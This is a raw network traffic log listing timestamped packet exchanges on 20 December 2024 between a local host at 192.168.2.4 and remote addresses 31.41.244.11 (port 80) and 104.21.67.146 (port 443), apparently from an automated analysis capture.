Dec 20, 2024 09:12:28.855227947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.863369942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.863439083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.863477945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.863574028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.871759892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.871841908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.871891975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.871948957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.880068064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.880136013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.880173922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.880259991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.888506889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.888573885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.888605118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.888669968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.896863937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.896975040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.897007942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.897022963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.905431032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.905467987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.905507088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.905508041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.912514925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.912600994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.912631035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.912693977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:28.919845104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:28.919931889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.023535013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.023643970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.023657084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.023816109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.025600910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.025665998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.025732040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.025789976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.030184984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.030272961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.030312061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.030364990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.034570932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.034668922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.034691095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.034739017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.034879923 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.034954071 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.036240101 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.036247015 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.036565065 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.037775040 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.037802935 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.037853003 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.039077997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.039190054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.039269924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.039334059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.043560028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.043622971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.043663025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.043709993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.048300982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.048445940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.048496008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.048496008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.052654982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.052750111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.052766085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.052810907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.057193995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.057255983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.057285070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.057343006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.061742067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.061810017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.061814070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.061904907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.066241980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.066401005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.066405058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.066503048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.070930958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.070996046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.071180105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.071341991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.075356960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.075408936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.075453043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.075516939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.080034971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.080166101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.080180883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.080239058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.084958076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.085068941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.085087061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.085164070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.088979006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.089098930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.089108944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.089157104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.093512058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.093554974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.093719959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.093996048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.098119974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.098229885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.098253965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.098273039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.102588892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.102647066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.102710962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.102767944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.215682030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.215713978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.215750933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.215791941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.216593027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.216717005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.216732025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.216783047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.220235109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.220320940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.220355034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.220585108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.223782063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.223850965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.223902941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.224047899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.227375031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.227499008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.227515936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.227550983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.230881929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.230978966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.231076002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.231125116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.234219074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.234267950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.234292030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.234340906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.237700939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.237751961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.237754107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.237799883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.241000891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.241096020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.241133928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.241182089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.244352102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.244401932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.244452953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.244503975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.247685909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.247735977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.247767925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.247824907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.251036882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.251126051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.251208067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.251257896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.254450083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.254499912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.254565954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.254615068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.257829905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.257878065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.257917881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.257973909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.261207104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.261256933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.261337996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.261378050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.264508009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.264554977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.264633894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.264679909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.267940044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.267983913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.268009901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.268065929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.271291018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.271364927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.271437883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.271493912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.274599075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.274655104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.274657011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.274702072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.278033972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.278088093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.278335094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.278379917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.281280041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.281326056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.281378984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.281424999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.284682989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.284729958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.284769058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.284816027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.288091898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.288141012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.288340092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.288386106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.291397095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.291455984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.291555882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.291606903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.294775963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.294836044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.294903040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.294949055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.298264027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.298396111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.298453093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.301516056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.301610947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.301677942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.304910898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.304970980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.305054903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.306814909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.308301926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.308360100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.308370113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.309830904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.311606884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.311722040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.311786890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.314975023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.315099955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.315160036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.318344116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.318814039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.408011913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.408109903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.408277988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.409388065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.409440041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.409945011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.410113096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.410166979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.412812948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.412955999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.413005114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.415688038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.415791988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.415848017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.418574095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.418668985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.418720007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.421250105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.421299934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.421303034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.422918081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.423964024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.424078941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.424140930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.426599979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.426729918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.426790953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.429263115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.429514885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.429565907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.431778908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.431952000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.432003975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.434365034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.434417009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.434475899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.434814930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.437103987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.437155008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.437218904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.437275887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.439446926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.439549923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.439604044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.441745043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.441848040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.441900969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.444233894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.444283009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.444303989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.446566105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.446624041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.446719885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.446811914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.448939085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.449076891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.449129105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.451359987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.451431036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.451483011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.453768015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.453900099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.453950882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.456136942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.456188917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.456267118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.458540916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.458587885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.458658934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.458909988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.460973978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.461086035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.461148024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.463344097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.463427067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.463475943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.465725899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.465873957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.465924978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.468122005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.468167067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.468230009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.470766068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.470809937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.470810890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.470849991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.472910881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.473038912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.473089933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.475342035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.475548983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.475598097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.477744102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.477868080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.477914095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.480122089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.480170012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.480197906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.481296062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.482708931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.482752085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.482815027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.482860088 CET	49808	80	192.168.2.4	31.41.244.11
